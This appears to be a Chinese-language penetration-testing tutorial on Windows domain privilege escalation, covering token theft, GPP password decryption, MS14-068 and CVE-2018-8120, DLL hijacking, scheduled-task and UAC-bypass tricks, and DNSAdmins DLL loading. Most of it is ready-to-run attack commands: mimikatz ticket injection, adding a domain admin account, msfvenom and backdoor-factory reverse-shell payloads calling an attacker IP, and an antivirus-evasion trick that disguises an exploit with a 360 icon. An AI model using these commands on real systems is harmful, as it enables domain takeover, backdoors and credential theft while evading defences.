一、访问令牌伪造
基础知识
windows系统中存在以下两种令牌:
- 授权令牌Delegate Token:用于交互会话登录(例如本地、远程rdp登录)
- 模拟令牌Impersonate Token:用于非交互式登录(例如net use、wmi、winrm远程访问等)
值得一提的是,当授权令牌在用户注销以后会自动转为模拟令牌,而且权限依然有效。在内网渗透时我们经常需要使用令牌伪造进行提权、降权等操作,下面通过具体案例进行说明。
漏洞利用
在一次渗透过程中,我们拿到一台域内主机,看了下权限是普通用户LAB\user1
beacon> getuid
进一步信息收集发现这是一台windows7系统,并且没有打ms17-010补丁
beacon> shell systeminfo
使用ms17-010漏洞将权限提到system
运行ps命令发现目标机器上存在域管进程,尝试访问域管提示拒绝访问
beacon> ps
beacon> shell dir \\test-lab.lab.com\c$
接下来使用steal_token进行令牌窃取,如下图,伪造完成后就有权限访问域管了
beacon> steal_token 3164
beacon> getuid
beacon> shell dir \\test-lab.lab.com\c$
如果想撤回令牌可以使用rev2self
beacon> rev2self
beacon> getuid
二、GPP提权之ms14-025
SYSVOL为全域共享文件夹,所有用户都可读,当域的组策略配置不当时,我们可以读取groups.xml文件。该文件中的密码使用AES256加密,但是微软直接提供了AES密钥,所以我们可以进行解密。
- 搜索Groups.xml文件
findstr /S /l cpassword \\test-lab.lab.com\sysvol\lab.com\policies\*.xml
- 通过浏览器直接访问
\\test-lab.lab.com\sysvol\lab.com\Policies\{19634A19-E8CD-4907-B020-A984884D2383}\Machine\Preferences\Groups\Groups.xml
- 或者使用msf中的模块自动利用
use auxiliary/scanner/smb/smb_enum_gpp
set smbuser user1
set smbpass 123456
run
use post/windows/gather/credentials/gpp
set session 1
run
- 修复
打上ms14-025补丁
三、利用CVE提权
CVE-2018-8120
比较常用的一个提权cve,在win7和server 2008上效果不错。不过大部分杀软对网上下载的exp会直接kill。
https://github.com/unamer/CVE-2018-8120
介绍一种资源混淆免杀的方法,原理就是使用Restorator添加静态资源文件,例如我们给CVE-2018-8120.exe加入360的图标
添加完成,再次扫描提示无风险,执行命令也可以成功
CVE-2018-8120.exe whoami
ms14-068
使用ms14-068可以将域内任何一个普通用户,提升至域管权限。
whoami /user 查看当前用户的SID
net group "domain controllers" /domain 查看域控制器
klist 查看票据
klist purge 清除票据(很重要)
生成TGT票据文件,并使用mimikatz注入TGT票据
MS14-068.exe -u user1@lab.com -p 123456 -s S-1-5-21-2459985384-3702016611-994786968-1108 -d TEST-LAB.lab.com
mimikatz.exe "kerberos::ptc TGT_user1@lab.com.ccache" exit
票据注入完成后,即可获得域控权限
dir \\test-lab.lab.com\c$ 列出域控的C盘
net user test Test@123 /domain /add 创建域用户
net localgroup administrators test /add /domain 添加域用户到管理员组
net use z: \\test-lab.lab.com\c$ "Test@123" /user:"test" 将域控的C盘映射为本地的Z盘
创建定时任务 反弹shell
net time \\test-lab.lab.com 查看目标的时间
at \\test-lab.lab.com 10:28 c:\evil.exe 添加定时任务
at \\test-lab.lab.com 列出定时任务
at \\test-lab.lab.com 1 /del 删除定时任务
提权辅助工具
使用以下工具可以帮助我们自动枚举系统存在哪些本地提权漏洞
https://github.com/bitsadmin/wesng
systeminfo > test.txt
python wes.py test.txt
四、dll劫持
网上找到的解释:
在windows系统中,当我们执行某一个程序时,相应的dll文件会被调用,根据这个思路,我们可以将正常的dll文件替换成恶意dll文件,当管理员打开该程序时,就能达到提权的效果。
我的理解:
dll劫持的核心是找到有权限操作的dll文件,替换成恶意的dll,还需要管理员去打开程序。
实际场景中为了保持原dll的功能不变,可以手动去编写dll文件,也可以使用backdoor factory将恶意代码注入到正常的dll中。
- 安装backdoor-factory
git clone https://github.com/secretsquirrel/the-backdoor-factory.git
cd the-backdoor-factory/
./install.sh
漏洞利用:
- 例如,当前我们获得了一个普通权限的webshell
- 接下来我们准备对FlashFXP安装目录下的msvcr110.dll进行劫持,实战中你可以先查看目标主机安装了哪些软件,然后在本地安装这些软件,再使用Process Monitor、PCHunter之类的工具,找到这些软件在运行过程中加载了哪些dll。
- 使用backdoor factory的代码洞注入功能,将恶意代码注入到msvcr110.dll中
root@kali:~/the-backdoor-factory# ./backdoor.py -f msvcr110.dll -s reverse_shell_tcp_inline -P 4444 -H 192.168.80.130
- 替换backdoor factory生成的msvcr110.dll,当管理员打开FlashFXP时,会加载我们制作的恶意dll文件,成功提权,并且不影响FlashFXP原本的功能。
use exploit/multi/handler
set payload windows/shell/reverse_tcp
run
五、将administrator提权到system
- 当我们拿到administrator用户的权限时,可以使用如下的方式提权到system。
- psexec
PsExec64.exe -i -s cmd.exe
- at
创建计划任务的命令,默认以system权限启动,适用于win7及以下操作系统。
net time \\192.168.80.80
at \\192.168.80.80 11:34 c:/evil.exe
at \\192.168.80.80
at \\192.168.80.80 1 /del
- schtasks
对于win7以上操作系统,可以使用schtasks命令创建计划任务。
schtasks /create /RL HIGHEST /F /RU SYSTEM /TN TestService1 /SC DAILY /ST 14:17 /TR c:/evil.exe 以system用户创建计划任务
schtasks /query | findstr "Test" 查询计划任务
schtasks /run /TN TestService1 手动运行
schtasks /F /delete /TN "TestService1" 删除计划任务
- 当我们拿到加入了administrators组的用户时,需要绕过uac用户账户控制提权到system。
- 使用msf中的bypass uac模块
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set session 1
set target 1
exploit
六、DNSAdmins提权到域控
在域环境中,通常域控也是DNS服务器,如果域用户拥有DNSAdmin权限,则能够在DNS服务器上远程加载dll,进一步实现提权到域管。
- 查看用户组
(DnsAdmins、Domain Admins、Enterprise Admins组内的用户都可以提权)
shell whoami /groups
- 使用msf生成dll文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.80.164 LPORT=4444 --platform=windows -f dll > plugin.dll
- 开启smb共享
impacket-smbserver tools ./tools/
- 使用dnscmd.exe远程加载dll,dnscmd.exe下载地址:
https://github.com/3gstudent/test/blob/master/dnscmd.exe
shell "dnscmd.exe 192.168.80.80 /config /serverlevelplugindll \\192.168.80.164\tools\plugin.dll"
- 使用nc监听4444端口
nc -nvvlp 4444
- 远程重启dns使dll执行,nc即可获得域控的shell
shell sc \\192.168.80.80 stop dns
shell sc \\192.168.80.80 start dns
七、参考
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8dnscmd%E5%9C%A8DNS%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E5%8A%A0%E8%BD%BDDll/
https://mumuka.gitee.io/passages/MS14-025%EF%BC%9AGPP%E5%AF%BC%E8%87%B4%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/
https://blog.csdn.net/youshaoduo/article/details/107288351